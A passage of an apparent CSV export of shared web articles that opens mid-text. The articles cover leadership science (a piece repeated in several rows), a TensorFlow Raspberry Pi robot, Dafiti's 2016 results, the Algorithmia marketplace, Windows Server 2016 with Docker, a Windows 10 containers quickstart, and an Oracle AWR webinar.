emergence doesn't imply effectiveness , but one has to emerge in order to be effective. What are the key qualities of effective leaders? The ultimate measure of leader effectiveness is the performance of the leader's team or organization , particularly vis-à-vis competitors. Leadership is a resource for the group, and effective leaders enable a group to outperform other groups. While the same personality and ability traits described above help leaders become more effective - they are not just advantageous for emergence - the best leaders also show higher levels of integrity , which enables them to create a fair and just culture in their teams and organizations. In addition, effective leaders are generally more emotionally intelligent , which enables them to stay calm under pressure and have better people skills. Conversely, narcissistic leaders are more prone to behaving in unethical ways, which is likely to harm their teams. How will the person lead? Not everyone leads in the same way. Leadership style is largely dependent on personality. Ambitious, thick-skinned leaders tend to be more entrepreneurial , so they are focused on growth and innovation. Curious, sociable, and sensitive leaders tend to be more charismatic , though charisma often reflects dark side traits , such as narcissism and psychopathy. Studies also highlight gender differences in leadership styles, with men being more transactional and women more transformational. However, gender roles are best understood as a psychological and normally distributed variable, as people differ in masculinity and femininity regardless of their biological sex. Are leaders born or made? Any observable pattern of human behaviors is the byproduct of genetic and environmental influences, so the answer to this question is ""both."" Estimates suggest that leadership is 30%-60% heritable , largely because the character traits that shape leadership - personality and intelligence - are heritable . While this suggests strong biological influences on leadership, it does not imply that nurture is trivial. Even more-heritable traits, such as weight (80%) and height (90%), are affected by environmental factors. Although there is no clear recipe for manipulating the environment in order to boost leadership potential, well-crafted coaching interventions boost critical leadership competencies by about 20%-30%. What is the role of culture? Culture is key because it drives employee engagement and performance . However, culture isn't the cause of leadership so much as the result of it . Thus leaders create the explicit and implicit rules of interaction for organizational members, and these rules affect morale and productivity levels . When people's values are closely aligned with the values of the organization (and leadership), they will experience higher levels of fit and purpose . How early can we predict potential? Any prediction is a measure of potential or the probability of something happening. Because leadership is partly dependent on genetic and early childhood experiences , predicting it from an early age is certainly possible. Whether doing so is ethical or legal is a different question. However, most of the commonly used indicators to gauge leadership potential - educational achievement, emotional intelligence, ambition, and IQ - can be predicted from a very early age, so it would be naïve to treat them as more malleable. Perhaps in the future, leadership potential will be assessed at a very early age by inspecting people's saliva. Does gender matter? Less than we think. The fact that so many leaders are male has much more to do with social factors (people's expectations, cultural norms, and opportunities) than actual gender differences in leadership potential, which are virtually nonexistent . In fact, some studies have shown that women are slightly more effective as leaders on the job, but this may be because the standards for appointing women to leadership positions are higher than those for appointing men, which creates a surplus of incompetent men in leadership positions. The solution is not to get women to act more like men, but to select leaders based on their actual competence. Why do leaders derail? We cannot ignore the wide range of undesirable and toxic outcomes associated with leadership. It is not the absence of bright side qualities, but rather their coexistence with dark side tendencies , that makes leaders derail. Indeed, as Sepp Blatter, Dominique Strauss-Kahn, and Bernie Madoff demonstrate, technical brilliance often coexists with self-destructive and other destructive traits. This is just one reason why it is so important for leadership development and executive coaching interventions to highlight leaders' weaknesses , and help them keep their toxic tendencies in check. Although these findings have been replicated in multiple studies, a skeptic could ask, ""Now that we're (allegedly) living in an era of unprecedented technological change, could some of these findings be outdated?"" Not really. Leadership evolved over millions of years , enabling us to function as group-living animals. It is therefore unlikely that the core foundations of leadership will change. That said, the specific skills and qualities that enable leaders and their groups to adapt to the world are certainly somewhat context dependent. For example, just as physical strength mattered more, and intellectual ability less, in the past, it is conceivable that human differentiators such as curiosity, empathy, and creativity will become more important in a world of ever-growing technological dependence and ubiquitous artificial intelligence. In short, the science of leadership is well established. There is no real need to advance it in order to improve real-world practices. We should focus instead on applying what we already know, and ignoring what we think we know that isn't true.",en
1474914836,CONTENT REMOVED,7216750853471801538,-1387464358334758758,-6409893296920806478,,,,HTML,https://hbr.org/2016/09/what-science-tells-us-about-leadership-potential?,What Science Tells Us About Leadership Potential,"Although the scientific study of leadership is well established, its key discoveries are unfamiliar to most people, including an alarmingly large proportion of those in charge of evaluating and selecting leaders. This science-practitioner gap explains our disappointing state of affairs. Leaders should drive employee engagement, yet only 30% of employees are engaged, costing the U.S. economy $550 billion a year in productivity loss. Moreover, a large global survey of employee attitudes toward management suggests that a whopping 82% of people don't trust their boss . You only need to google ""my boss is..."" or ""my manager is..."" and see what the autocomplete text is to get a sense of what most people think of their leaders. Unsurprisingly, over 50% of employees quit their job because of their managers . As the old saying goes, ""people join companies, but quit their bosses."" And the rate of derailment, unethical incidents, and counterproductive work behaviors among leaders is so high that it is hard to be shocked by a leader's dark side. Research indicates that 30%-60% of leaders act destructively, with an estimated cost of $1-$2.7 million for each failed senior manager. Part of the problem is that many widely held beliefs about leadership are incongruent with the scientific evidence. As Mark Twain allegedly noted, ""It ain't what you don't know that gets you into trouble. It's what you know for sure that just ain't so."" For example, it is quite common for people to believe that leadership is largely dependent on the situation, that it's hard to predict whether someone will be a good (or bad) leader, and that any person can be a leader. In reality, some people have a much higher probability of becoming leaders, regardless of the context, and this probability can be precisely quantified with robust psychological tools. What do we really know about the measurement of leadership potential? Here are some critical findings: Who becomes a leader? Although leaders come in many shapes, a few personality characteristics consistently predict whether someone is likely to emerge as a leader. As the most widely cited meta-analysis in this area shows, people who are more adjusted, sociable, ambitious, and curious are much more likely to become leaders. (53% of the variability in leadership emergence is explained by these personality factors.) Unsurprisingly, higher levels of cognitive ability (IQ) also increase an individual's likelihood to emerge as a leader, though by less than 5%. Of course, emergence doesn't imply effectiveness , but one has to emerge in order to be effective. What are the key qualities of effective leaders? The ultimate measure of leader effectiveness is the performance of the leader's team or organization , particularly vis-à-vis competitors. Leadership is a resource for the group, and effective leaders enable a group to outperform other groups. While the same personality and ability traits described above help leaders become more effective - they are not just advantageous for emergence - the best leaders also show higher levels of integrity , which enables them to create a fair and just culture in their teams and organizations. In addition, effective leaders are generally more emotionally intelligent , which enables them to stay calm under pressure and have better people skills. Conversely, narcissistic leaders are more prone to behaving in unethical ways, which is likely to harm their teams. How will the person lead? Not everyone leads in the same way. Leadership style is largely dependent on personality. Ambitious, thick-skinned leaders tend to be more entrepreneurial , so they are focused on growth and innovation. Curious, sociable, and sensitive leaders tend to be more charismatic , though charisma often reflects dark side traits , such as narcissism and psychopathy. Studies also highlight gender differences in leadership styles, with men being more transactional and women more transformational. However, gender roles are best understood as a psychological and normally distributed variable, as people differ in masculinity and femininity regardless of their biological sex. Are leaders born or made? Any observable pattern of human behaviors is the byproduct of genetic and environmental influences, so the answer to this question is ""both."" Estimates suggest that leadership is 30%-60% heritable , largely because the character traits that shape leadership - personality and intelligence - are heritable . While this suggests strong biological influences on leadership, it does not imply that nurture is trivial. Even more-heritable traits, such as weight (80%) and height (90%), are affected by environmental factors. Although there is no clear recipe for manipulating the environment in order to boost leadership potential, well-crafted coaching interventions boost critical leadership competencies by about 20%-30%. What is the role of culture? Culture is key because it drives employee engagement and performance . However, culture isn't the cause of leadership so much as the result of it . Thus leaders create the explicit and implicit rules of interaction for organizational members, and these rules affect morale and productivity levels . When people's values are closely aligned with the values of the organization (and leadership), they will experience higher levels of fit and purpose . How early can we predict potential? Any prediction is a measure of potential or the probability of something happening. Because leadership is partly dependent on genetic and early childhood experiences , predicting it from an early age is certainly possible. Whether doing so is ethical or legal is a different question. However, most of the commonly used indicators to gauge leadership potential - educational achievement, emotional intelligence, ambition, and IQ - can be predicted from a very early age, so it would be naïve to treat them as more malleable. Perhaps in the future, leadership potential will be assessed at a very early age by inspecting people's saliva. Does gender matter? Less than we think. The fact that so many leaders are male has much more to do with social factors (people's expectations, cultural norms, and opportunities) than actual gender differences in leadership potential, which are virtually nonexistent . In fact, some studies have shown that women are slightly more effective as leaders on the job, but this may be because the standards for appointing women to leadership positions are higher than those for appointing men, which creates a surplus of incompetent men in leadership positions. The solution is not to get women to act more like men, but to select leaders based on their actual competence. Why do leaders derail? We cannot ignore the wide range of undesirable and toxic outcomes associated with leadership. It is not the absence of bright side qualities, but rather their coexistence with dark side tendencies , that makes leaders derail. Indeed, as Sepp Blatter, Dominique Strauss-Kahn, and Bernie Madoff demonstrate, technical brilliance often coexists with self-destructive and other destructive traits. This is just one reason why it is so important for leadership development and executive coaching interventions to highlight leaders' weaknesses , and help them keep their toxic tendencies in check. Although these findings have been replicated in multiple studies, a skeptic could ask, ""Now that we're (allegedly) living in an era of unprecedented technological change, could some of these findings be outdated?"" Not really. Leadership evolved over millions of years , enabling us to function as group-living animals. It is therefore unlikely that the core foundations of leadership will change. That said, the specific skills and qualities that enable leaders and their groups to adapt to the world are certainly somewhat context dependent. For example, just as physical strength mattered more, and intellectual ability less, in the past, it is conceivable that human differentiators such as curiosity, empathy, and creativity will become more important in a world of ever-growing technological dependence and ubiquitous artificial intelligence. In short, the science of leadership is well established. There is no real need to advance it in order to improve real-world practices. We should focus instead on applying what we already know, and ignoring what we think we know that isn't true.",en
1474915111,CONTENT SHARED,7993526700719577624,6013226412048763966,7761905460736875088,,,,HTML,https://hbr.org/2016/09/what-science-tells-us-about-leadership-potential?,What Science Tells Us About Leadership Potential,"Although the scientific study of leadership is well established, its key discoveries are unfamiliar to most people, including an alarmingly large proportion of those in charge of evaluating and selecting leaders. This science-practitioner gap explains our disappointing state of affairs. Leaders should drive employee engagement, yet only 30% of employees are engaged, costing the U.S. economy $550 billion a year in productivity loss. Moreover, a large global survey of employee attitudes toward management suggests that a whopping 82% of people don't trust their boss . You only need to google ""my boss is..."" or ""my manager is..."" and see what the autocomplete text is to get a sense of what most people think of their leaders. Unsurprisingly, over 50% of employees quit their job because of their managers . As the old saying goes, ""people join companies, but quit their bosses."" And the rate of derailment, unethical incidents, and counterproductive work behaviors among leaders is so high that it is hard to be shocked by a leader's dark side. Research indicates that 30%-60% of leaders act destructively, with an estimated cost of $1-$2.7 million for each failed senior manager. Part of the problem is that many widely held beliefs about leadership are incongruent with the scientific evidence. As Mark Twain allegedly noted, ""It ain't what you don't know that gets you into trouble. It's what you know for sure that just ain't so."" For example, it is quite common for people to believe that leadership is largely dependent on the situation, that it's hard to predict whether someone will be a good (or bad) leader, and that any person can be a leader. In reality, some people have a much higher probability of becoming leaders, regardless of the context, and this probability can be precisely quantified with robust psychological tools. What do we really know about the measurement of leadership potential? Here are some critical findings: Who becomes a leader? Although leaders come in many shapes, a few personality characteristics consistently predict whether someone is likely to emerge as a leader. As the most widely cited meta-analysis in this area shows, people who are more adjusted, sociable, ambitious, and curious are much more likely to become leaders. (53% of the variability in leadership emergence is explained by these personality factors.) Unsurprisingly, higher levels of cognitive ability (IQ) also increase an individual's likelihood to emerge as a leader, though by less than 5%. Of course, emergence doesn't imply effectiveness , but one has to emerge in order to be effective. What are the key qualities of effective leaders? The ultimate measure of leader effectiveness is the performance of the leader's team or organization , particularly vis-à-vis competitors. Leadership is a resource for the group, and effective leaders enable a group to outperform other groups. While the same personality and ability traits described above help leaders become more effective - they are not just advantageous for emergence - the best leaders also show higher levels of integrity , which enables them to create a fair and just culture in their teams and organizations. In addition, effective leaders are generally more emotionally intelligent , which enables them to stay calm under pressure and have better people skills. Conversely, narcissistic leaders are more prone to behaving in unethical ways, which is likely to harm their teams. How will the person lead? Not everyone leads in the same way. Leadership style is largely dependent on personality. Ambitious, thick-skinned leaders tend to be more entrepreneurial , so they are focused on growth and innovation. Curious, sociable, and sensitive leaders tend to be more charismatic , though charisma often reflects dark side traits , such as narcissism and psychopathy. Studies also highlight gender differences in leadership styles, with men being more transactional and women more transformational. However, gender roles are best understood as a psychological and normally distributed variable, as people differ in masculinity and femininity regardless of their biological sex. Are leaders born or made? Any observable pattern of human behaviors is the byproduct of genetic and environmental influences, so the answer to this question is ""both."" Estimates suggest that leadership is 30%-60% heritable , largely because the character traits that shape leadership - personality and intelligence - are heritable . While this suggests strong biological influences on leadership, it does not imply that nurture is trivial. Even more-heritable traits, such as weight (80%) and height (90%), are affected by environmental factors. Although there is no clear recipe for manipulating the environment in order to boost leadership potential, well-crafted coaching interventions boost critical leadership competencies by about 20%-30%. What is the role of culture? Culture is key because it drives employee engagement and performance . However, culture isn't the cause of leadership so much as the result of it . Thus leaders create the explicit and implicit rules of interaction for organizational members, and these rules affect morale and productivity levels . When people's values are closely aligned with the values of the organization (and leadership), they will experience higher levels of fit and purpose . How early can we predict potential? Any prediction is a measure of potential or the probability of something happening. Because leadership is partly dependent on genetic and early childhood experiences , predicting it from an early age is certainly possible. Whether doing so is ethical or legal is a different question. However, most of the commonly used indicators to gauge leadership potential - educational achievement, emotional intelligence, ambition, and IQ - can be predicted from a very early age, so it would be naïve to treat them as more malleable. Perhaps in the future, leadership potential will be assessed at a very early age by inspecting people's saliva. Does gender matter? Less than we think. The fact that so many leaders are male has much more to do with social factors (people's expectations, cultural norms, and opportunities) than actual gender differences in leadership potential, which are virtually nonexistent . In fact, some studies have shown that women are slightly more effective as leaders on the job, but this may be because the standards for appointing women to leadership positions are higher than those for appointing men, which creates a surplus of incompetent men in leadership positions. The solution is not to get women to act more like men, but to select leaders based on their actual competence. Why do leaders derail? We cannot ignore the wide range of undesirable and toxic outcomes associated with leadership. It is not the absence of bright side qualities, but rather their coexistence with dark side tendencies , that makes leaders derail. Indeed, as Sepp Blatter, Dominique Strauss-Kahn, and Bernie Madoff demonstrate, technical brilliance often coexists with self-destructive and other destructive traits. This is just one reason why it is so important for leadership development and executive coaching interventions to highlight leaders' weaknesses , and help them keep their toxic tendencies in check. Although these findings have been replicated in multiple studies, a skeptic could ask, ""Now that we're (allegedly) living in an era of unprecedented technological change, could some of these findings be outdated?"" Not really. Leadership evolved over millions of years , enabling us to function as group-living animals. It is therefore unlikely that the core foundations of leadership will change. That said, the specific skills and qualities that enable leaders and their groups to adapt to the world are certainly somewhat context dependent. For example, just as physical strength mattered more, and intellectual ability less, in the past, it is conceivable that human differentiators such as curiosity, empathy, and creativity will become more important in a world of ever-growing technological dependence and ubiquitous artificial intelligence. In short, the science of leadership is well established. There is no real need to advance it in order to improve real-world practices. We should focus instead on applying what we already know, and ignoring what we think we know that isn't true.",en
1474915293,CONTENT SHARED,-6400214860728938634,3061273947166110301,-4294318496550281618,,,,HTML,https://www.oreilly.com/learning/how-to-build-a-robot-that-sees-with-100-and-tensorflow,"How to build a robot that ""sees"" with $100 and TensorFlow","Eye of Providence. (source: Bureau of Engraving and Printing on Wikimedia Commons ). Object recognition is one of the most exciting areas in machine learning right now. Computers have been able to recognize objects like faces or cats reliably for quite a while, but recognizing arbitrary objects within a larger image has been the Holy Grail of artificial intelligence. Maybe the real surprise is that human brains recognize objects so well. We effortlessly convert photons bouncing off objects at slightly different frequencies into a spectacularly rich set of information about the world around us. Machine learning still struggles with these simple tasks, but in the past few years, it's gotten much better. Deep learning and a large public training data set called ImageNet has made an impressive amount of progress toward object recognition. TensorFlow is a well-known framework that makes it very easy to implement deep learning algorithms on a variety of architectures. TensorFlow is especially good at taking advantage of GPUs, which in turn are also very good at running deep learning algorithms. Building my robot I wanted to build a robot that could recognize objects. Years of experience building computer programs and doing test-driven development have turned me into a menace working on physical projects. In the real world, testing your buggy device can burn down your house, or at least fry your motor and force you to wait a couple of days for replacement parts to arrive. The new third generation Raspberry Pi is perfect for this kind of project. It costs $36 on Amazon.com and has WiFi, a quad core CPU, and a gigabyte of RAM. A $6 microSD card can load Raspberian , which is basically Debian . See Figure 1 for an overview of how all the components worked together, and see Figure 2 for a photo of the Pi. I love the cheap robot chassis that Sain Smart makes for around $11. The chassis turns by spinning the wheels at different speeds, which works surprisingly well (see Figure 3). The one place I spent more money when cheaper options were available is the Adafruit motor hat (see Figure 4). The DC motors run at a higher current than the Raspberry Pi can provide, so a separate controller is necessary, and the Adafruit motor hat is super convenient. Using the motor hat required a tiny bit of soldering, but the hardware is extremely forgiving, and Adafruit provides a nice library and tutorial to control the motors over i2C . Initially, I used cheaper motor controllers, but I accidentally fried my Pi, so I decided to order a better quality replacement. A $15 camera attaches right into the Raspberry Pi and provides a real-time video feed I can use to recognize objects. There are tons of awesome cameras available. I like the infrared cameras that offer night vision. The Raspberry Pi needs about 2 amps of current, but 3 amps is safer with the speaker we're going to plug into it. iPhone battery chargers work awesomely for this task. Small chargers don't actually output enough amps and can cause problems, but the Lumsing power bank works great and costs $18. A couple of HC- SR0 4 sonar sensors help the robot avoid crashing into things-you can buy five for $11. I added the cheapest USB speakers I could find, and used a bunch of zip ties, hot glue, and foam board to keep everything together. As an added bonus, I cut up some of the packaging materials the electronics came with and drew on them to give the robots some personality. I should note here that I actually built two robots (see Figure 5) because I was experimenting with different chassis, cameras, sonar placement, software, and so forth, and ended up buying enough parts for two versions. Once the robot is assembled, it's time to make it smart. There are a million tutorials for getting started with a Raspberry Pi online. If you've used Linux, everything should be very familiar. For streaming the camera, the RPi Cam Web interface works great. It's super configurable and by default puts the latest image from the camera in a RAM disk at /dev/shm/mjpeg/cam.jpg . If you want to stream the camera data to a webpage (very useful for debugging), you can install Nginx , an extremely fast open source webserver/proxy. I configured Nginx to pass requests for the camera image directly to the file location and everything else to my webserver. I then built a simple Python webserver to spin the wheels of the robot based on keyboard commands that made for a nifty remote control car. As a side note, it's fun to play with the sonar and the driving system to build a car that can maneuver around obstacles. Programming my robot Finally, it's time to install TensorFlow. There are a couple of ways to do the installation, but TensorFlow actually comes with a makefile that lets you build it right on the system. The steps take a few hours and have quite a few dependencies, but they worked great for me. TensorFlow comes with a prebuilt model called ""inception"" that performs object recognition. You can follow the tutorial to get it running. Running tensorflow/contrib/pi_examples/label_image/gen/bin/label_image on an image from the camera will output the top five guesses. The model works surprisingly well on a wide range of inputs, but it's clearly missing an accurate ""prior,"" or a sense of what things it's likely to see, and there are quite a lot of objects missing from the training data. For example, it consistently recognizes my laptop, even at funny angles, but if I point it at my basket of loose wires it consistently decides that it's looking at a toaster. If the camera is blocked and it gets a dark or blurry image it usually decides that it's looking at nematodes-clearly an artifact of the data it was trained on. Finally, I connected the output to the Flite open source software package that does text to speech, so the robot can tell everyone what it's seeing (see Figure 6). Testing my robot Here are my two homemade robots running deep learning to do object recognition. Final thoughts From 2003 to 2005, I worked in the Stanford Robotics lab, where the robots cost hundreds of thousands of dollars and couldn't perform object recognition nearly as well as my robots. I'm excited to put this software on my drone and never have to look for my keys again. I'd also like to acknowledge all the people that helped with this fun project. My neighbors, Chris Van Dyke and Shruti Gandhi, helped give the robot a friendly personality. My friend, Ed McCullough, dramatically improved the hardware design and taught me the value of hot glue and foam board. Pete Warden, who works at Google, helped get TensorFlow compiling properly on the Raspberry Pi and provided amazing customer support.",en
1474922536,CONTENT SHARED,-2494226662129766130,-1352064057049251194,8437308270280964371,,,,HTML,http://www.investimentosenoticias.com.br/noticias/negocios/dafiti-registra-alto-crescimento-no-1-semestre-de-2016,Dafiti registra alto crescimento no 1º semestre de 2016,"A Dafiti apresenta o balanço do primeiro semestre de 2016. Apesar do cenário macroeconômico desafiador do país, neste período, a empresa junto às marcas adquiridas Kanui e Tricae, obteve receita líquida de venda de mercadoria (Net Merchandise Value) de R$585,4 milhões, o que representa 23.8% de crescimento orgânico em relação ao primeiro semestre de 2015. A empresa registra percentual de crescimento quase cinco vezes maior que o índice de 5.2% referente ao mercado de e-commerce brasileiro neste primeiro semestre de 2016, de acordo com relatório do E-Bit. Em pesquisa divulgada pelo IGBE, o setor de varejo de moda apresentou uma queda de 11.6% no volume de vendas nos primeiros sete meses de 2016. No mês de julho, a recém divulgada Pesquisa Mensal do Comércio aponta uma queda no volume de vendas de 14.2% em relação ao mesmo mês do ano anterior. Com resultados que vão na contramão do mercado, a Dafiti ganha market share e firma seu posicionamento como maior e-commerce de moda da América Latina. No período, a empresa apresenta um expressivo aumento da rentabilidade na margem bruta de produto, que saltou de 37.5% em 2015 para 42.1% e o EBITDA ajustado melhorou 27.4 pontos percentuais para -9.6% em comparação ao índice de -37.0% referente ao primeiro semestre de 2015. Este é o melhor resultado reportado desde a fundação do e-commerce em 2011. A Dafiti atribui os resultados aos investimentos em tecnologia, logística, atendimento e amplo portfólio para oferecer a melhor experiência de compra aos seus clientes. Uma grande aposta da empresa foi a abertura do marketplace para marcas voltadas às categorias de moda elifestyle, lançado em agosto de 2015. Mais de 50 mil produtos e mais de 1000 marcas contam com a expertise em moda, plataforma e base de clientes para vender seus produtos no líder do segmento no país. As plataformas móveis também têm participação significativa neste resultado. A base de usuários do aplicativo da Dafiti cresceu em 50% no primeiro semestre deste ano e o tráfego via dispositivos móveis representa mais que a metade do total de acessos. Com constantes melhorias em navegabilidade e funcionalidade, o e-commerce oferece uma excelente experiência de compra aos clientes em qualquer lugar que estejam. Através destes resultados, a Dafiti reforça sua liderança no e-commerce de moda na América Latina e se consolida como a forma mais inteligente de comprar moda. A empresa, recentemente, lançou seu novo posicionamento smartfashion e trouxe o conceito de compra inteligente de moda para o cotidiano do consumidor, que encontra variedade, preço justo e a conveniência de realizar a compra na palma de sua mão. Além disso, oferece curadoria com conteúdo atual, tendências e dicas para que o cliente possa navegar com mais facilidade pelo e-commerce e encontrar tudo o que procura com comodidade e eficiência. (Redação - Agência IN)",pt
1474936474,CONTENT SHARED,-455124319026316634,3829784524040647339,874038654767216672,,,,HTML,https://www.wired.com/2016/09/algorithmia-deep-learning/,"Need Some AI? Yeah, There's a Marketplace for That","Diego Oppenheimer is worried that the Googles and the Facebooks will dominate the world of artificial intelligence. It's a legitimate worry. Elon Musk and Sam Altman are worried about the same thing. That's why they created a startup called OpenAI . In recent years, Google and Facebook have snapped up so many researchers at the heart of the deep learning movement , an AI movement that's rapidly reinventing everything from speech recognition to security. So, Musk and Altman grabbed several top AI researchers from Google and Facebook and vowed to share their work with the world at large. Now, Oppenheimer and his startup, Algorithmia, are doing their part in the battle against AI hegemony. Algorithmia is what Oppenheimer calls an open marketplace for algorithms-code that companies and developers can use to beef up their websites and apps-and this marketplace now includes deep learning algorithms that handle tasks like face recognition and character recognition. Whereas OpenAI shares raw AI research, Algorithmia offers working algorithms designed to slot right into new services. ""Maybe the future was already invented,"" Oppenheimer says. ""It's just stuck in academic papers."" It's part of a much larger effort to democratize AI. Startups like Clarifai , Nara Logics , and MetaMind (now owned by Salesforce.com) also offer tools for building deep learning into any application. And giants like Google, Amazon, and Microsoft are building cloud computing services that work in similar ways. Algorithmia uses the same marketplace model that startups have applied to so many other goods and services, including everything from artisanal crafts and graphic design to real estate and good ol' retail . Anyone can upload an algorithm to the market, and then anyone can pay to use it. The author of the algorithm chooses the price of each API call (free to one dollar), and then 70 percent of the proceeds go to the author, with Algorithmia keeping the rest. When an algorithm is completely open source, Algorithmia charges only for the computing power used. What's new are the deep learning algorithms. Today, Algorithmia offers just over 2,500 algorithms, sixteen of which are deep learning models added by coders in July, at the urging of Oppenheimer and company. Loosely based on the networks of neurons in the human brain, deep neural nets can learn discrete tasks by analyzing enormous amounts of data. Oppenheimer points to the Colorize algorithm -which uses deep learning to automatically colorize black and white photos-as a prime example. Colorize was built the UC Berkeley Vision Lab, as part of a graduate student's academic paper, and the Algorithmia team urged him to upload the algorithm to their marketplace. Oren Etzioni, CEO of the Allen Institute for Artificial Intelligence and an investor in Algorithmia, believes these algorithm can help transform deep learning from a ""dark art"" practiced only by the giants of the Internet into a technology used by ""the 99 percent."" Dennis R. Mortensen, the CEO and founder of the artificial intelligence startup x.ai, agrees-up to a point. He adds that these algorithms serve only some needs. As he points out, other companies are providing more complex tools for building deep learning systems, including Google, which recently open sourced a deep learning software engine called TensorFlow. He also points out that deep learning requires enormous amounts of data for training. Just because you have the algorithm, he says, that doesn't mean you'll get useful results. Algorithmia won't help build the most advanced AI, he says, but it will help you layer a little AI into your app.",en
1474946668,CONTENT SHARED,-6829454835237183038,3609194402293569455,-1454522461531275738,,,,HTML,https://techcrunch.com/2016/09/26/windows-server-2016-will-come-with-commercial-support-for-docker-engine/,Windows Server 2016 will come with commercial support for Docker Engine,"Microsoft loves to talk about how we are now living in a ""cloud first, mobile first"" world, but in this world, there is still plenty of room left for Windows Server. Today, at its Ignite conference in Atlanta, the company announced that Windows Server 2016 will be available for purchase on October 1 and will then ship in mid-October. That's pretty much in line with expectations, especially given that October 1 marks the two-year anniversary of the release of the first Windows Server 2016 preview. There are plenty of new features in Windows Server 2016, including improved security and networking tools, as well as better support for clustering. There are two marquee features in this release though: the addition of the Nano Server option, a stripped-down version of the OS for use in the cloud, as well as built-in support for containers - both in the form of Docker containers and Microsoft's own Windows Container format. Microsoft already announced that it would use the Docker Engine for handling both kinds of containers on Windows Server 2016. In addition, the two companies also today announced that they are extending their existing partnership and that Microsoft will make the commercially supported Docker Engine available to Windows Server 2016 customer at no additional charge. Microsoft will handle most of the basic support and then pass more complicated issues on to Docker. Microsoft says it will also highlight Docker's data center solutions to IT pros ""as a way to enable IT pros to secure the Windows software supply chain and manage containerized Windows workloads, whether on-premises, in the cloud or in a hybrid environment."" This close cooperation between Docker and Microsoft once again raises the question whether Microsoft may end up acquiring Docker after all . Microsoft doesn't build all that many third-party tools directly into its flagship server offering, after all. In addition to Windows Server 2016, Microsoft's System Center 2016 will also be generally available in October. System Center, as the name doesn't really reveal, is the company's service for managing data centers and provisioning and managing hardware and virtual machines (be they Windows Servers machines, Linux boxes or machines running VMWare or Hyper-V). The company is also releasing a new preview of Azure Stack today , which once it's generally available in 2017, will allow enterprises to run the core Azure services inside their own data centers. This new version will preview a number of new features and technologies, including monitoring support and capacity planning, as well as previews of services like Azure Key Vault and Azure Queue storage.",en
1474946849,CONTENT SHARED,-2069509552243850466,3609194402293569455,-1454522461531275738,,,,HTML,https://msdn.microsoft.com/pt-br/virtualization/windowscontainers/quick_start/quick_start_windows_10,Contêiner do Windows no Windows 10,"O exercício vai guiá-lo pela implantação e uso básicos do recurso de contêiner do Windows no Windows 10 Professional ou Enterprise (Anniversary Edition). Após a conclusão, você terá instalado a função de contêiner e implantado um contêiner do Hyper-V simples. Antes de começar esse início rápido, familiarize-se com a terminologia e os conceitos básicos do contêiner. Essas informações podem ser encontradas na Introdução rápida . Este início rápido é específico para contêineres do Hyper-V no Windows 10. É possível encontrar documentação adicional de início rápido no sumário à esquerda desta página. Pré-requisitos: Um sistema de computador físico executando o Windows 10 Anniversary Edition (Professional ou Enterprise). Esse início rápido pode ser executado em uma máquina virtual do Windows 10, porém a virtualização aninhada precisará ser habilitada. É possível encontrar mais informações no Guia de virtualização aninhada . 1. Instalar o recurso de contêiner O recurso de contêiner deve ser habilitado antes de trabalhar com contêineres do Windows. Para fazer isso, execute o seguinte comando em uma sessão do PowerShell com privilégios elevados. Como o Windows 10 dá suporte apenas a contêineres de Hyper-V, o recurso Hyper-V também deve ser habilitado. Para habilitar o recurso Hyper-V usando o PowerShell, execute o comando a seguir em uma sessão do PowerShell com privilégios elevados. Quando a instalação for concluída, reinicialize o computador. Após o backup ter sido realizado, execute o seguinte comando para corrigir um problema conhecido com os Contêineres do Windows no Windows 10. Nas versões atuais, você precisa desabilitar OpLocks para usar contêineres confiáveis do Hyper-V. Para reabilitar OpLocks, use o seguinte comando: Set-ItemProperty -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Virtualization\Containers' -Name VSmbDisableOplocks -Type DWord -Value 0 -Force 2. Instalar o Docker O Docker é necessário para trabalhar com contêineres do Windows. O Docker é composto pelo mecanismo do Docker e o cliente do Docker. Para este exercício, ambos serão instalados. Execute os comandos a seguir para fazer isso. Baixe o mecanismo e o cliente Docker como um arquivo zip. Expanda o arquivo zip em Arquivos de Programas, o conteúdo do arquivo já está no diretório do docker. Adicione o diretório do Docker ao caminho do sistema. Reinicie a sessão do PowerShell para que o caminho modificado seja reconhecido. Para instalar o Docker como um serviço Windows, execute o seguinte. Após ser instalado, o serviço pode ser iniciado. 3. Instalar imagens de contêiner base Os contêineres do Windows são implantados por meio de modelos ou imagens. Antes de ser possível implantar um contêiner, uma imagem do sistema operacional base do contêiner precisa ser baixada. Os comandos a seguir baixarão a imagem base do Nano Server. Faça o pull da imagem base do Nano Server. Assim que é feito o pull da imagem, executar docker images retornará uma lista de imagens instaladas, neste caso, a imagem do Nano Server. Para obter informações detalhadas sobre imagens de contêiner do Windows, consulte Gerenciar imagens de contêiner . 4. Implantar o primeiro contêiner Para este exemplo simples, uma imagem de contêiner ""Hello World"" será criada e implantada. Para obter a melhor experiência, execute estes comandos em um shell CMD do Windows elevado. Primeiro, inicie um contêiner com uma sessão interativa da imagem nanoserver . Depois que o contêiner for iniciado, você receberá um shell de comando de dentro do contêiner. Dentro do contêiner, criaremos um script 'Hello, World' simples. Quando tiver concluído, saia do contêiner. Agora, você criará uma nova imagem de contêiner do contêiner modificado. Para ver uma lista de contêineres, execute o seguinte e anote a ID do contêiner. Execute o seguinte comando para criar uma nova imagem 'HelloWorld'. Substitua com a ID do seu contêiner. Quando tiver concluído, você terá uma imagem personalizada que contém o script hello world. Isso pode ser visto com o seguinte comando. Finalmente, para executar o contêiner, use o comando docker run . O resultado desse comando docker run é que um contêiner do Hyper-V foi criado por meio da imagem 'HelloWorld', um script 'Hello World' de exemplo foi executado (saída ecoada para o shell) e, em seguida, o contêiner foi parado e removido. Os inícios rápidos de contêiner e Windows 10 subsequentes se aprofundarão sobre a criação e implantação de aplicativos em contêineres no Windows 10. Próximas etapas Contêineres do Windows no Windows Server",pt
1474974977,CONTENT SHARED,-721732705314803549,-9047547311469006438,2070103150891815266,,,,HTML,http://www.fabioprado.net/2016/09/webinario-como-analisar-um-awr-report.html,"Webinário gratuito ""Como analisar um AWR Report""","No post de hoje quero apenas comunicar que no dia 27/9/16, às 21h, irei participar do Terça de Dados do Grupo DBA Brasil , mostrando para você como analisar um AWR Repor t. Apresentarei um report de um ex-aluno da última turma do treinamento Database Performance Tuning , que foi gerado em um período em que o Banco de Dados de uma empresa da área financeira, estava com desempenho ruim. Comentarei sobre as principais características do banco de dados e os principais problemas que ocorreram nele, naquele período. NÃO PERCA, VOCÊ PODERÁ ASSISTIR O VÍDEO NO QUADRO ABAIXO! Todos que assistirem o evento AO VIVO poderão fazer perguntas e deixar os seus comentários nessa página que eu responderei todas elas ao final da apresentação!",pt
